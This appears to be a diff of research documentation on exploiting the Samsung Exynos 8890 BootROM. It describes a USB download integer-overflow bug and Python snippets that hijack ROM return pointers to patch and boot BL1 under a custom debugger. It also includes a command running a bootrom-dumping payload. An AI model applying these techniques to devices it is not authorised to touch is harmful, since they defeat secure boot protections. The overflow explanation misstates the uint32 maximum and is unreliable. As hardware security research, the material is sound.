|
||||
Replacing this function with our debugger makes us jump back:
|
||||
|
||||
.. code-block:: python
|
||||
|
||||
# Overwrite jump back
|
||||
self.cd.memwrite_region(0x02020108, p32(0x2069000))
|
||||
self.cd.memwrite_region(0x020200e8, p32(0x2069000))
|
||||
|
||||
def jump_bl1():
|
||||
self.cd.arch_dbg.state.LR = 0x2069000
|
||||
self.cd.restore_stack_and_jump(0x02024010)
|
||||
# self.cd.restore_stack_and_jump(0x02021810)
|
||||
|
||||
bl1 = open("../S7/bl1.bin", "rb").read()
|
||||
self.cd.memwrite_region(0x02024000, bl1)
|
||||
self.usb_write(b"FLSH")
|
||||
|
||||
# auth_bl1()
|
||||
jump_bl1()
|
||||
assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?"
|
||||
self.cd.arch_dbg.state.print_ctx()
|
||||
|
||||
root | DEBUG |
|
||||
X0 : 0xc00000 | X1 : 0x2069000 | X2 : 0x0 | X3 : 0x2023114 | X4 : 0x4 | X5 : 0x0 | X6 : 0x0 |
|
||||
X7 : 0x136c0008 | X8 : 0x2069000 | X9 : 0x0 | X10 : 0x2070000 | X11 : 0x0 | X12 : 0x0 | X13 : 0x0 |
|
||||
X14 : 0xf | X15 : 0x206d000 | X16 : 0x9 | X17 : 0x0 | X18 : 0x1 | X19 : 0x20200e8 | X20 : 0x0 |
|
||||
X21 : 0x80000000 | X22 : 0x0 | X23 : 0x0 | X24 : 0x0 | X25 : 0x0 | X26 : 0x0 | X27 : 0x1 |
|
||||
X28 : 0x0 | X29 : 0x2020ed8 | LR/X30 : 0x202419c | SP/X31 : 0x2020ec0
|
||||
|
||||
However this does not fully run bl1, so we will have to dig a bit deeper to see the puropose and when to jump back to the debugger.
|
||||
|
||||
|
||||
Week 35 - 2024
|
||||
--------------
|
||||
After booting BL31, the MMU seems to be set up, and we're unable to do get any data off of spaces we're not 'allowed' to access. Patching the if-statement at 0x020244e8, disables the bit that says that the MMU is setup, but booting into recovery is possible (meaning the MMU is setup). Additionally, the memory at 0x02035600 is still not dumpable. At 0x02048000 is still accessible.
|
||||
|
||||
Weird space found at 0x105c2400. Seems to contain references to usb buffer (about 48-64 bytes).
|
||||
|
||||
Also space at 0x020307f0
|
||||
Weird space found at 0x105c2400. Seems to contain references to usb buffer (about 48-64 bytes). Also space at 0x020307f0, but I lose access to this after booting
|
||||
|
||||
.. code-block:: python
|
||||
|
||||
@ -36,4 +179,37 @@ Interesting links:
|
||||
- `Heap overflow <https://highaltitudehacks.com/2020/09/05/arm64-reversing-and-exploitation-part-1-arm-instruction-set-heap-overflow.html>`_
|
||||
- `UART on S8 <https://grimler.se/posts/exynos-uart/>`_
|
||||
|
||||
By accident found space at 0x11207010. Seems to be a memory read/write space. Not executable however, unless the MMU is turned off.
|
||||
By accident found space at 0x11207010. Seems to be a memory read/write space. Not executable however, unless the MMU is turned off.
|
||||
|
||||
We can use this space to store our debugger, and patch the boot process. After loading BL2, we're now indeed loading VBAR's for EL1.
|
||||
|
||||
bl31
|
||||
MMU is 0x0 (0x1=enabled, 0x0=disabled)
|
||||
TTBR0_EL3: 0xbc4640892f1460, TTBR1_EL2: 0x854d39cb76f0, TTBR0_EL1: 0xa5c20f408c581142
|
||||
VBAR_EL3: 0x18800, VBAR_EL2: 0x0, VBAR_EL1: 0x0
|
||||
TCR_EL3: 0x0, TCR_EL2: 0x80800000, TCR_EL1: 0x0
|
||||
SCTLR_EL3: 0xc5183a, SCTLR_EL2: 0x30c5083a, SCTLR_EL1: 0xc5083a
|
||||
MAIR_EL3: 0x44e048e000098aa4, MAIR_EL2: 0x9e42bf572931240b, MAIR_EL1: 0x44e048e000098aa4
|
||||
Current EL: 0xc
|
||||
|
||||
Jumped to 0x11207010 and back
|
||||
|
||||
bL2
|
||||
[+] Sent stage
|
||||
Connected device! 0x4e8 0x1234
|
||||
MMU is 0x0 (0x1=enabled, 0x0=disabled)
|
||||
TTBR0_EL3: 0xbc4640892f1460, TTBR1_EL2: 0x854d39cb76f0, TTBR0_EL1: 0xa5c20f408c581142
|
||||
VBAR_EL3: 0x2031800, VBAR_EL2: 0x0, VBAR_EL1: 0x2053800
|
||||
TCR_EL3: 0x0, TCR_EL2: 0x80800000, TCR_EL1: 0x0
|
||||
SCTLR_EL3: 0xc5183a, SCTLR_EL2: 0x30c5083a, SCTLR_EL1: 0x30c5083a
|
||||
MAIR_EL3: 0x44e048e000098aa4, MAIR_EL2: 0x9e42bf572931240b, MAIR_EL1: 0x44e048e000098aa4
|
||||
Current EL: 0xc
|
||||
|
||||
The debugger at 0x11200000 can only dump 0x768 at a time (its space related. Before BL31 this is also an issue.).
|
||||
|
||||
There's an odd space at 0x14kk. With things like deadcafe:
|
||||
|
||||
.. code::
|
||||
|
||||
1c0000000000000000000000fecaadde00000000fecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddef
|
||||
|
||||
|
@ -1,309 +0,0 @@
|
||||
.. _boot-chain-label:
|
||||
=======
|
||||
Booting
|
||||
=======
|
||||
This part describes the boot chain of the ``Exynos 8890`` SoC.
|
||||
|
||||
Memory overview
|
||||
===============
|
||||
|
||||
.. raw:: html
|
||||
|
||||
<iframe src="../_static/stack_and_functions.html" width="100%" height="1000px" frameborder="0" float='center'></iframe>
|
||||
|
||||
|
||||
Exploitation
|
||||
============
|
||||
|
||||
After exploitation the goal is to fully boot the device. The following part describes the current boot chain
|
||||
|
||||
.. important::
|
||||
|
||||
This is under development and will still change.
|
||||
|
||||
The first stage is downloading BL1, authenticating it and patching it after authentication.
|
||||
This is done by overwriting the USB return address pointer and jumping back to the debugger.
|
||||
In the debugger we can authenticate BL1, patch it and boot it. An overview of this process is shown below:
|
||||
|
||||
Booting an authenticated and patched BL1:
|
||||
|
||||
.. figure:: images/boot_chain_bl1.drawio.svg
|
||||
:align: center
|
||||
|
||||
Boot chain
|
||||
|
||||
.. note::
|
||||
|
||||
git commit 8cb5f2e1 fully boots, you can use this commit to patch bl1 only.
|
||||
|
||||
Next up is BL31, which is loaded by BL1.
|
||||
|
||||
``BL31`` is the secure monitor. The monitor uses memory that is also being used by the debugger, so we will have to relocate it to keep code exeuction.
|
||||
|
||||
.. figure:: images/bl31_debugger_memory_example.png
|
||||
:align: center
|
||||
|
||||
Example of BL31 using debugger memory.
|
||||
|
||||
BL31 also configures the VBAR_EL3 and MMU so the memory mapping will probably change after this stage (preparation for trustzone?).
|
||||
|
||||
It would be nice to patch BL31 before it is being executed. However the current exploit boot flow does not allow this because the ROM function downloads the next stage.
|
||||
|
||||
Notes
|
||||
-----
|
||||
As done by Frederic, the bootrom can be dumped using his provided scripts, and can the be split into different boots:
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
./exynos-usbdl e payloads/Exynos8890_dump_bootrom.bin dumped_sboot.bin
|
||||
scripts/split-sboot-8890.sh dumped_sboot.bin
|
||||
|
||||
This results in the following files:
|
||||
|
||||
.. list-table:: bootrom stages
|
||||
:header-rows: 1
|
||||
|
||||
* - File
|
||||
- Strings output
|
||||
- Likely boot stage?
|
||||
* - sboot.bin.1.bin
|
||||
- Exynos BL1
|
||||
- BL1
|
||||
* - sboot.bin.2.bin
|
||||
- BL31 %s
|
||||
- BL31
|
||||
* - sboot.bin.3.bin
|
||||
- Unsure. Contains strings like: TOP_DIV_ACLK_MFC_600 and APOLLO_DIV_APOLLO_RUN_MONITOR
|
||||
- BL2?
|
||||
* - sboot.bin.4.bin
|
||||
- Contains more textual information, and references to post BL2 boot, and android information
|
||||
- Kernel boot/BL33?
|
||||
|
||||
After loading the stage1 (entry.S - Frederic's exploit), we're allowed to send custom payloads to the device. The first payload that is then sent, is the debugger.
|
||||
|
||||
Debugger
|
||||
--------
|
||||
The initial debugger is written to ``0x2069000``, with debugger_stack and _storage at ``0x0206b000`` and ``0x0206d000`` respectively.
|
||||
|
||||
After the initial loading of the debugger, the processor state reported is (using ghidra assistant):
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
root | DEBUG |
|
||||
X0 : 0x0 | X1 : 0xffffffff | X2 : 0x20215d8 | X3 : 0x2021894 | X4 : 0x4 | X5 : 0x0 | X6 : 0x0 |
|
||||
X7 : 0x136c0008 | X8 : 0x2069000 | X9 : 0x0 | X10 : 0x2070000 | X11 : 0x0 | X12 : 0x0 | X13 : 0x0 |
|
||||
X14 : 0xf | X15 : 0x206d000 | X16 : 0x9 | X17 : 0x0 | X18 : 0x1 | X19 : 0x2000 | X20 : 0x2069000 |
|
||||
X21 : 0x0 | X22 : 0x0 | X23 : 0x0 | X24 : 0x0 | X25 : 0x0 | X26 : 0x0 | X27 : 0x1 |
|
||||
X28 : 0x0 | X29 : 0x2020f00 | LR/X30 : 0x20219b8 | SP/X31 : 0x2020ef0
|
||||
|
||||
LR/X30 being the line register. This is the address the processor will jump to when the function is done (important to keep track off).
|
||||
|
||||
After a cache flush, the debugger seems to be cleared as well, so the debugger is relocated to ``0x20c0000``, with _stack and _storage now at ``0x20c2000`` and ``0x20c4000`` respectively. This is done by running:
|
||||
|
||||
.. code-block:: python
|
||||
|
||||
self.cd.arch_dbg.state.auto_sync = False
|
||||
self.cd.arch_dbg.state.auto_sync_special = False
|
||||
self.cd.arch_dbg.state.print_ctx()
|
||||
|
||||
def relocate_debugger():
|
||||
# Seems to be cleared upon cache clearing??
|
||||
debugger_reloc = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/reloc_debugger.bin", "rb").read()
|
||||
self.cd.memwrite_region(0x020c0000, debugger_reloc)
|
||||
self.usb_write(b"FLSH") # Flush cache
|
||||
self.cd.restore_stack_and_jump(0x020c0000)
|
||||
assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
|
||||
self.cd.relocate_debugger(0x020c7000, 0x020c0000, 0x020c4000)
|
||||
relocate_debugger()
|
||||
|
||||
The processor state reported then is:
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
root | DEBUG |
|
||||
X0 : 0x0 | X1 : 0x1 | X2 : 0x20215d8 | X3 : 0x2021894 | X4 : 0x4 | X5 : 0x0 | X6 : 0x0 |
|
||||
X7 : 0x136c0008 | X8 : 0x2069000 | X9 : 0x0 | X10 : 0x2070000 | X11 : 0x0 | X12 : 0x0 | X13 : 0x0 |
|
||||
X14 : 0xf | X15 : 0x20c4000 | X16 : 0x9 | X17 : 0x0 | X18 : 0x1 | X19 : 0x2000 | X20 : 0x2069000 |
|
||||
X21 : 0x0 | X22 : 0x0 | X23 : 0x0 | X24 : 0x0 | X25 : 0x0 | X26 : 0x0 | X27 : 0x1 |
|
||||
X28 : 0x0 | X29 : 0x2020f00 | LR/X30 : 0x20c0000 | SP/X31 : 0x2020ef0
|
||||
|
||||
Initial boot function (BL1)
|
||||
---------------------
|
||||
|
||||
.. figure:: images/initial_boot_function.png
|
||||
:align: center
|
||||
|
||||
Overview of the initial boot function in the exynos 8890
|
||||
|
||||
BL1 needs to be authenticated. BL1 loads at address ``0x02024000`` and contains some form of header (ramdump). There seems to be a samsung header format, where the first 4 bytes define the entry point of the binary. In this case this entry is ``+0x10`` so we jump to ``0x02024010``. Authentication seems to be done at ``0x00012848``. Initially we thought that 0x0 indicated a verified boot state (as is plausible when reading the decompiled code in Ghidra). But after modifying BL1 in the header and contents, this value did not change.
|
||||
|
||||
.. code-block:: python
|
||||
|
||||
# Try loading bl1
|
||||
bl1 = open("../S7/bl1.bin", "rb").read()
|
||||
self.cd.memwrite_region(0x02021800, bl1)
|
||||
# self.usb_write(b"FLSH")
|
||||
AUTH_BL1 = 0x00012848
|
||||
def auth_bl1(lr=0x2069000):
|
||||
# Load the firmware
|
||||
self.cd.arch_dbg.state.W0 = 1
|
||||
self.cd.arch_dbg.state.X1 = 1
|
||||
self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished
|
||||
self.cd.restore_stack_and_jump(AUTH_BL1)
|
||||
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
||||
assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
|
||||
|
||||
auth_bl1(0x020c0000)
|
||||
|
||||
.. figure:: images/bl1_auth_references.png
|
||||
:align: center
|
||||
|
||||
BL1 authentication
|
||||
|
||||
At this point, we assumed that the authentication was succesful, and the bootROM would jump back to the debugger after loading, but this was not the case. After running this function, we were able to send a single packet, but never received a response. Indicating that the function we were executing never returned on us.
|
||||
|
||||
If authentication at auth_bl1 is succesful, the returns a value from a function at ``1230c``. This function does some things, but eventually jumps to a function at:
|
||||
|
||||
.. figure:: images/bl1_auth_follow-up_1230c.png
|
||||
:align: center
|
||||
|
||||
BL1 authentication
|
||||
|
||||
After authentication the bootROM jumps to this function at, we can execute this function with the debugger.
|
||||
|
||||
.. code-block:: python
|
||||
|
||||
self.cd.memwrite_region(0x02020f60, p32(0x020c0000))
|
||||
BOOT_BL1 = 0x00019310
|
||||
def jump_bl1(lr):
|
||||
self.cd.arch_dbg.state.LR = lr
|
||||
self.cd.restore_stack_and_jump(BOOT_BL1)
|
||||
|
||||
jump_bl1(0x020c0000)
|
||||
|
||||
jump_fwbl1()
|
||||
|
||||
BL1 is loaded at the download buffer and self copies to ``0x02022000`` and resumes execution there, with a size of 0x2000 (``0x02022000`` to ``0x02024000``).
|
||||
|
||||
However, this does not result in a jump back to the debugger. But the ROM still allows receival of one data package from the USB host (this is likely the system 'waiting' to receive the bootloader).
|
||||
|
||||
By adding the IMEM to ghidra, we can have a look at what is going here. After having modified the LR to jump back to the debugger and jumping into auth_bl1 at ``0x00012848`` we jump back to the debugger. Jumping into BL1 at ``2c0`` does not return us to the debugger. Here we need to hijack ``020200dc`` and ``02021880`` we're able to boot into BL1. We store the address of the hijacked function, to restore it later for a proper boot flow.
|
||||
|
||||
.. code:: python
|
||||
auth_bl1(DEBUGGER_ADDR)
|
||||
self.usb_write(b"FLSH") # Flush cache
|
||||
hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4))
|
||||
|
||||
# BL1 patches
|
||||
self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31
|
||||
self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))
|
||||
|
||||
Authentication of BL1 seems to be done at ``0x0012848``. With return value '0' expected when this function is executed, to execute other functions.
|
||||
|
||||
.. figure:: images/bl1_auth_references.png
|
||||
:align: center
|
||||
|
||||
BL1 authentication.
|
||||
|
||||
purpose
|
||||
^^^^^^^
|
||||
bl1 interacts with several pheriperals, from the DTB these are:
|
||||
|
||||
.. code-block:: dtsi
|
||||
|
||||
/* FSYS0 */
|
||||
pinctrl_5: pinctrl@10E60000 {
|
||||
compatible = "samsung,exynos8890-pinctrl";
|
||||
reg = <0x0 0x10E60000 0x1000>;
|
||||
interrupts = <0 212 0>;
|
||||
};
|
||||
|
||||
/* FSYS1 */
|
||||
pinctrl_6: pinctrl@15690000 {
|
||||
compatible = "samsung,exynos8890-pinctrl";
|
||||
reg = <0x0 0x15690000 0x1000>;
|
||||
interrupts = <0 202 0>;
|
||||
};
|
||||
|
||||
/* PERIC1 */
|
||||
pinctrl_9: pinctrl@14CC0000 {
|
||||
compatible = "samsung,exynos8890-pinctrl";
|
||||
reg = <0x0 0x14CC0000 0x1000>;
|
||||
interrupts = <0 460 0>;
|
||||
};
|
||||
|
||||
pmu_system_controller: system-controller@105C0000 {
|
||||
compatible = "samsung,exynos8890-pmu", "syscon";
|
||||
reg = <0x0 0x105C0000 0x10000>;
|
||||
};
|
||||
|
||||
rtc@10070000 {
|
||||
compatible = "samsung,s3c6410-rtc";
|
||||
reg = <0x0 0x10070000 0x100>;
|
||||
interrupts = <0 73 0>, <0 74 0>;
|
||||
clocks = <&clock 157>;
|
||||
clock-names = "gate_rtc";
|
||||
};
|
||||
|
||||
Probably the only thing it does is set some clocks and prepare for BL31.
|
||||
|
||||
BL31
|
||||
----
|
||||
BL31 is written at ``0x02024000`` with the entry point at ``0x02024010``.
|
||||
|
||||
BL2
|
||||
---
|
||||
0x02e8dc mentions 'Onyx-OPR6-8511R1', which is likely sboot.
|
||||
|
||||
OLD
|
||||
---
|
||||
|
||||
The reason for this is the following code in bl1:
|
||||
|
||||
.. code-block:: c
|
||||
|
||||
iVar3 = FUN_02024320();
|
||||
if (iVar3 == 1) {
|
||||
(*(code *)(ulong)uRam0000000002020108)(0,1);
|
||||
}
|
||||
|
||||
This code uses a predefined ROM function(I was looking for it) and jumps back to that function when it's done.
|
||||
This function is at address ``0x020200e8``, looking in our IMEM dump we can see where in the ROM this points to:
|
||||
|
||||
.. code-block:: c
|
||||
|
||||
DAT_02020108 XREF[2]: FUN_00001708:000018b4(W),
|
||||
FUN_02021970:02021a40(R)
|
||||
02020108 90 57 00 00 undefined4 00005790h
|
||||
|
||||
Replacing this function with our debugger makes us jump back:
|
||||
|
||||
.. code-block:: python
|
||||
|
||||
# Overwrite jump back
|
||||
self.cd.memwrite_region(0x02020108, p32(0x2069000))
|
||||
self.cd.memwrite_region(0x020200e8, p32(0x2069000))
|
||||
|
||||
def jump_bl1():
|
||||
self.cd.arch_dbg.state.LR = 0x2069000
|
||||
self.cd.restore_stack_and_jump(0x02024010)
|
||||
# self.cd.restore_stack_and_jump(0x02021810)
|
||||
|
||||
bl1 = open("../S7/bl1.bin", "rb").read()
|
||||
self.cd.memwrite_region(0x02024000, bl1)
|
||||
self.usb_write(b"FLSH")
|
||||
|
||||
# auth_bl1()
|
||||
jump_bl1()
|
||||
assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?"
|
||||
self.cd.arch_dbg.state.print_ctx()
|
||||
|
||||
root | DEBUG |
|
||||
X0 : 0xc00000 | X1 : 0x2069000 | X2 : 0x0 | X3 : 0x2023114 | X4 : 0x4 | X5 : 0x0 | X6 : 0x0 |
|
||||
X7 : 0x136c0008 | X8 : 0x2069000 | X9 : 0x0 | X10 : 0x2070000 | X11 : 0x0 | X12 : 0x0 | X13 : 0x0 |
|
||||
X14 : 0xf | X15 : 0x206d000 | X16 : 0x9 | X17 : 0x0 | X18 : 0x1 | X19 : 0x20200e8 | X20 : 0x0 |
|
||||
X21 : 0x80000000 | X22 : 0x0 | X23 : 0x0 | X24 : 0x0 | X25 : 0x0 | X26 : 0x0 | X27 : 0x1 |
|
||||
X28 : 0x0 | X29 : 0x2020ed8 | LR/X30 : 0x202419c | SP/X31 : 0x2020ec0
|
||||
|
||||
However this does not fully run bl1, so we will have to dig a bit deeper to see the puropose and when to jump back to the debugger.
|
||||
|
Binary file not shown.
After Width: | Height: | Size: 60 KiB |
@ -1,204 +0,0 @@
|
||||
===================
|
||||
Exynos BootROM 8890
|
||||
===================
|
||||
The Exynos 8890 BootROM is a small piece of code that runs on the Exynos SoC at boot time.
|
||||
It is responsible for initializing the hardware and loading the first stage bootloader from storage.
|
||||
The BootROM is stored in a read-only memory and cannot be modified.
|
||||
|
||||
Protections
|
||||
-----------
|
||||
There are no stack canaries or guard pages, and no ASLR. Meaning there are almost no protections in place. There is however an SMC and a MMU. The SMC is used to communicate with the secure world, and the MMU is used to map the memory.
|
||||
|
||||
Rom is at address 0x0 and is unwritable (Sometimes this is writeable due to MMU caching).
|
||||
|
||||
Samsung Firmware
|
||||
----------------
|
||||
Samsung releases firmware files for their devices. These files contain the bootloader, modem, and other firmware files.
|
||||
To see how the ROM works we are interested in the sboot firmware, which contains multiple stages of the bootloader.
|
||||
|
||||
To extract the sboot.bin file from a samsung firmware file:
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
$ unzip -p firmware.zip 'BL_*.tar.md5' | tar -Oxf - 'sboot.bin.lz4' | lz4 -d - sboot.bin
|
||||
|
||||
Frederic has also written a payload to extract the sboot.bin file from a connected samsung device (See: :ref:`boot-chain-label`). The extracted boots can be split up in different stages. We're provied with sboot 1-4.bin. Running strings then provides us with some information about each stage.
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
$ strings -n4 sboot.bin.1.bin
|
||||
|
||||
Memory Layout
|
||||
-------------
|
||||
|
||||
TODO make memory layout of ROM, IMEM and some devices @JONHE
|
||||
|
||||
.. figure:: images/memory_layout.drawio.svg
|
||||
|
||||
The memory layout of the Exynos 8890
|
||||
|
||||
- 0x00000000 to 0x00020000: BootROM
|
||||
- 0x000002c0: BL1 boot entry point
|
||||
- 0x00012848: bootrom authentication function
|
||||
- 0x00019310: BL1 boot function
|
||||
- 0x02069000: First debugger location
|
||||
|
||||
|
||||
Download protocol
|
||||
-----------------
|
||||
When the ROM is unable to boot from the internal storage, it enters ``Exynos Recovery Mode``.
|
||||
In this mode the bootROM accepts data over USB.
|
||||
There is little functionality other than receiving data, meaning almost no additional attack surface except for the download protocol.
|
||||
|
||||
The Exynos BootROM uses a custom protocol to download a bootable image over USB. This image is verified and executed by the BootROM. Unauthorized images are rejected. Initial authorisation is done using the '_auth_bl1' function.
|
||||
|
||||
(TODO verify and document)
|
||||
|
||||
dldata
|
||||
^^^^^^
|
||||
For uploading a stage to boot, a custom protocol is used. The dldata that has to be send is the following:
|
||||
|
||||
.. figure:: images/dl_packet.drawio.svg
|
||||
|
||||
The dldata packet is used to send data to the BootROM.
|
||||
|
||||
The size in the packet is the total size of the packet, including header and footer.
|
||||
|
||||
.. info::
|
||||
|
||||
This protocol remains *mostly* the same for newer Exynos SoCs.
|
||||
|
||||
USB Stack
|
||||
---------
|
||||
|
||||
This information is largely based on the blogpost of Frederic on reversing the `USB stack of the Exynos BootROM <https://fredericb.info/2020/06/reverse-engineer-usb-stack-of-exynos-bootrom.html#reverse-engineer-usb-stack-of-exynos-bootrom>`_. We're looking at the proprietary USB protocol used by the Exynos BootROM.
|
||||
|
||||
The base address of the usb controller (dwusb3) is mapped at 0x1540000, with a size of 0x10000: (can be found at: `Exynos8890 dtsi <https://github.com/LineageOS/android_kernel_samsung_universal8890/tree/lineage-18.1/arch/arm64/boot/dts>`_).
|
||||
|
||||
.. code-block:: dts
|
||||
|
||||
udc: usb@15400000 {
|
||||
compatible = "samsung,exynos8890-dwusb3";
|
||||
clocks = <&clock 700>, <&clock 703>, <&clock 708>, <&clock 709>;
|
||||
clock-names = "aclk", "sclk", "phyclock", "pipe_pclk";
|
||||
reg = <0x0 0x15400000 0x10000>;
|
||||
#address-cells = <2>;
|
||||
#size-cells = <1>;
|
||||
ranges;
|
||||
usb-pm-qos-int = <255000>;
|
||||
status = "disabled";
|
||||
|
||||
usbdrd_dwc3: dwc3 {
|
||||
compatible = "synopsys,dwc3";
|
||||
reg = <0x0 0x15400000 0x10000>;
|
||||
interrupts = <0 213 0>;
|
||||
phys = <&usbdrd_phy0 0>, <&usbdrd_phy0 1>;
|
||||
phy-names = "usb2-phy", "usb3-phy";
|
||||
};
|
||||
};c
|
||||
|
||||
This is a basic USB controller, but some functions, that are also present in the linux kernel, should be visible in the bootROM as well. Available functions could be: `linux-kernel-dwc3 <https://android.googlesource.com/kernel/msm/+/android-msm-dory-3.10-kitkat-wear/drivers/usb/dwc3/core.h>`_.
|
||||
|
||||
The USB host sends a USB_REQ_SET_ADDRESS, `'0x05' <https://asf.microchip.com/docs/latest/common.services.usb.class.composite.device.example.hidms_msc.saml21_xplained_pro/html/group__usb__protocol__group.html>`_, which the connected device has to acknowledge, and will then start sending data to this address. Initially, the device will send data to '0x00'.
|
||||
|
||||
.. code:: c
|
||||
|
||||
usb_reqid {
|
||||
USB_REQ_GET_STATUS = 0,
|
||||
USB_REQ_CLEAR_FEATURE = 1,
|
||||
USB_REQ_SET_FEATURE = 3,
|
||||
USB_REQ_SET_ADDRESS = 5,
|
||||
USB_REQ_GET_DESCRIPTOR = 6,
|
||||
USB_REQ_SET_DESCRIPTOR = 7,
|
||||
USB_REQ_GET_CONFIGURATION = 8,
|
||||
USB_REQ_SET_CONFIGURATION = 9,
|
||||
USB_REQ_GET_INTERFACE = 10,
|
||||
USB_REQ_SET_INTERFACE = 11,
|
||||
USB_REQ_SYNCH_FRAME = 12
|
||||
}
|
||||
|
||||
Ghidra shows `DWC3_DCFG & 0xfffffc00 | DWC3_DCFG & 7 | (param_1 & 0x7f) << 3;`, essentially preserves bits 0-2 and 10-31, and sets bits 3-9 to the value of param_1, which is then likely the address of the device.
|
||||
|
||||
.. figure:: images/ghidra_dwc3_dcfg_devaddr.png
|
||||
|
||||
bootrom exynos 8890 dwc3_dcfg_devaddr
|
||||
|
||||
Other general device descriptors are also sent from the device to the host (to describe the device), these are visible in/at 'usb_init_device_descriptor' (6098) and usb_init_descriptors (610c). Two end point addresses are visible: bEndpointAddress 0x81 and 0x02. 0x81 is 10000001 in binary, with bit 7 being '1', which means that the bulk transfer direction is IN. 0x02 is 00000010 in binary, with bit '7' being '0', which means that the bulk transfer direction is OUT.
|
||||
|
||||
Data is transferred via Transfer Request Blocks (TRB), dwc3_depcmd_starttransfer is used. The TRB then contains a buffer address, where transferred data from the host is written to. The buffer allocation is done by 'usb_setup_event_buffer', which sets bufferHigh (DWC3_GEVNTADRLO), bufferLow (DWC3_GEVNTADRHI) and bufferSize (DWC3_GEVNTSIZ).
|
||||
|
||||
Bug 1 (Integer overflow)
|
||||
^^^^^^^^^^^^^^^^^^^^^^^^
|
||||
|
||||
Originally described in this `blogpost <https://fredericb.info/2020/06/exynos-usbdl-unsigned-code-loader-for-exynos-bootrom.html#exynos-usbdl-unsigned-code-loader-for-exynos-bootrom>`_.
|
||||
|
||||
The exynos bootrom uses a simple USB protocol to receive a bootloader binary from a USB host. The binary sent is called 'dldata'. In Ghidra, at 21518, we can see that it consists of unit32_t: ready?, uint32: size, ? : data, uint16: footer. The contents of this data are checked before being being written.
|
||||
|
||||
.. figure:: images/usb_setup_ready_to_0.png
|
||||
|
||||
The ready flag is set to 0 in the Exynos 8890 BootROM in an earlier function on pdVar1->size (pdVar1.size)
|
||||
|
||||
.. figure:: images/dl_data_struct.png
|
||||
|
||||
The dldata struct in the Exynos 8890 BootROM
|
||||
|
||||
.. code:: c
|
||||
if ((pdVar1->size < 0x206ffff) && (0x206ffff < pdVar1->size + remaining)) {
|
||||
*(undefined *)&pdVar1->ready = 2;
|
||||
}
|
||||
|
||||
In essence, the payload is not allowed to be larger than 0x206fff (34013183), it checks so with 2 seperate checks
|
||||
1) In the first condition, the size has to be smaller than 0x206ffff (`pdVar1->size < 0x206ffff`) (34013183 in decimal),
|
||||
2) and in the second condition, it checks whether 0x206ffff is indeed still less than the size of the payload + remaining (size + remaining)(`0x206ffff < pdVar1->size + remaining`).
|
||||
|
||||
If both conditions are met, the payload will NOT be loaded. But this makes sense, as both checks just ensure that the payload is not larger than 0x206ffff.
|
||||
|
||||
The bug is however, that the check that the check is done on a uint32_t (2^32 = 4294967296), but the max value that can be checked by a uint32 is 0xFDFDE7FF = 4294967295. So a value of 0xFDFDE7FF + 1 = 0xFDFDE800 = 4294967296, which is larger than the max value of a uint32. So if a payload of this size or more is used, which is much larger than the max requested value 0x206ffff, the check will pass and the payload will still be loaded.
|
||||
|
||||
.. figure:: images/usb_payload_size_check.jpeg
|
||||
|
||||
The size check in the Exynos 8890 BootROM
|
||||
|
||||
Sending such large amounts of data can cause a memory overflow, and will cause the target to crash. Not interesting for exploitation in this context. However, the USB packages that are sent, are split into smaller packages with a size of 0xFFFE00.
|
||||
|
||||
.. figure:: images/max_allowed_chunck_size.jpeg
|
||||
|
||||
The max allowed chunk size, after which the payload is split.
|
||||
|
||||
The dl_buf pointer is set to the amount it expects to write, instead to the amount that it has written. By transferring a large amount of data, without actually writing it (so in a package, send no data, but tell the target that you're sending data with a length larger than 0xFDFDE800), will cause the pointer to move, without actually writing data.
|
||||
|
||||
The trick then becomes, to get the pointer to an address we would like to exploit unto. Then we have a little less than 512 bytes (502 according to dldata) to write our payload.
|
||||
|
||||
.. code:: c
|
||||
|
||||
typedef struct dldata_s {
|
||||
u_int32_t ready; //start = 02021518, end = 0202151C. Length = 4
|
||||
u_int32_t size; //start = 0202151C, end = 02021520. Length = 4
|
||||
u_int8_t data[n]; //start = 02021520, end = 02021714. Length = 502 == MAX TRANSFER SIZE
|
||||
u_int16_t footer; //start = 02021714, end = 02021716. Length = 2
|
||||
} dldata;
|
||||
|
||||
Bug 2
|
||||
^^^^^
|
||||
|
||||
.. caution::
|
||||
|
||||
Might be a 0/N-day if exploitable
|
||||
|
||||
@ELHER
|
||||
|
||||
There is a bug(unpatched?) in receiving the last packet of the usb image:
|
||||
|
||||
.. figure:: images/underflow_bug.png
|
||||
|
||||
The bug is an integer underflow in the calculation of the remaining size of the image.
|
||||
|
||||
DWC3
|
||||
^^^^
|
||||
The Exynos 8890 uses the Synopsys DesignWare USB 3.0 controller.
|
||||
Much of the code is shared with the DWC3 driver in the Linux kernel, except that the ROM does not do any scheduling and a lot of features have been removed(OTG handling, etc).
|
||||
|
||||
Gupje
|
||||
^^^^^
|
||||
In order to run the debugger, a small amount of the bootROM was reversed in order to implement send/recv functionality.
|
||||
|
@ -1,28 +0,0 @@
|
||||
========
|
||||
Emulator
|
||||
========
|
||||
What is interesting about the ROM is that it starts by checking MPIDR_EL1 register and doing a conditional branch to 0x20e0000.
|
||||
|
||||
.. code-block:: ghidra
|
||||
|
||||
|
||||
undefined w0:1 <RETURN>
|
||||
Reset XREF[1]: Entry Point(*)
|
||||
00000000 bb 00 38 d5 mrs x27,mpidr_el1
|
||||
00000004 7b 0f 78 92 and x27,x27,#0xf00
|
||||
00000008 7f 03 00 f1 cmp x27,#0x0
|
||||
0000000c 41 00 00 54 b.ne LAB_00000014
|
||||
00000010 fc 7f 83 14 b LAB_020e0000
|
||||
|
